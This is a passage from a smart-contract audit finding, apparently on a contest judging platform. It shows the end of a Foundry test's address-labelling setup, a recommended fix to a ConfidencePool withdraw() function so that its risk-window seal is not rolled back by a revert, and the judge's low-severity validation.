vm.label(alice, "Alice Ordinary Staker");
vm.label(contributor, "Bonus Contributor");
vm.label(whitehat, "Whitehat");
vm.label(DEFAULT_SCOPE_ACCOUNT, "Agreement Scope Account");
vm.label(address(world.token), string.concat(worldName, " Stake Token"));
vm.label(address(world.registryA), string.concat(worldName, " Registry A"));
vm.label(address(world.registryB), string.concat(worldName, " Registry B"));
vm.label(address(world.safeHarborRegistry), string.concat(worldName, " Safe Harbor Registry"));
vm.label(address(world.agreement), string.concat(worldName, " Agreement"));
vm.label(address(world.target), string.concat(worldName, " ConfidencePool Clone"));
}
function _defaultScope() internal pure returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = DEFAULT_SCOPE_ACCOUNT;
}
}

Recommended Mitigation

Primary fix (honest, complete for the stated invariant): correct DESIGN §11/§9 to scope the guarantee to a sealed latch.

- A benign upstream state *rewind* cannot re-open `withdraw`: that is gated on the
- one-way `riskWindowStart != 0` latch (§9), not solely on live state.
+ Once the risk window has been sealed by any committing interaction, a benign
+ upstream state *rewind* cannot re-open `withdraw` (gated on the one-way
+ `riskWindowStart != 0` latch, §9). If the active-risk interval elapses with no
+ committing observation — including a self-reverting `withdraw()` attempt, which
+ rolls back its own `_markRiskWindowStart()` write — the latch is not yet armed.

Stronger, code-level option if the team wants the lock to hold unconditionally: have an active-risk withdraw() attempt commit the seal instead of reverting it away — seal riskWindowStart and deny via an early return/no-op rather than revert, so the observation persists.

function withdraw() external nonReentrant {
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
IAttackRegistry.ContractState state = _observePoolState();
+ // Persist the seal even when denying: an active-risk observation must not roll back.
+ if (riskWindowStart != 0) return; // seal already committed by _observePoolState; deny without revert
if (
- riskWindowStart != 0
- || (state != IAttackRegistry.ContractState.NOT_DEPLOYED
+ (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) {
revert WithdrawsDisabled();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

withdraw()'s own revert rolls back the riskWindowStart seal it just set, leaving a locked-in staker with zero bonus despite DESIGN.md #9's exit/premium guarantee

Impact - Low The staker keeps their principal, so what is lost is the premium they were accruing while locked, and it ends up at the sponsor's recoveryAddress. DESIGN.md #9 justifies the whole no-observed-risk rule by pairing two events, saying a staker forfeits the exit exactly when the premium starts. One call does the first and undoes the second. Likelihood - Low Any staker can cure this for free with pokeRiskWindow, which succeeds in the same state the withdrawal failed in. A permanent loss therefore needs the whole cohort to miss that step, and the trap is that the obvious move is the one that fails. A short active-risk interval can also close before anyone gets a block in which to poke. DESIGN.md #6 explains an unsealed window as nobody having interacted with the pool, which is exactly what did not happen here.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!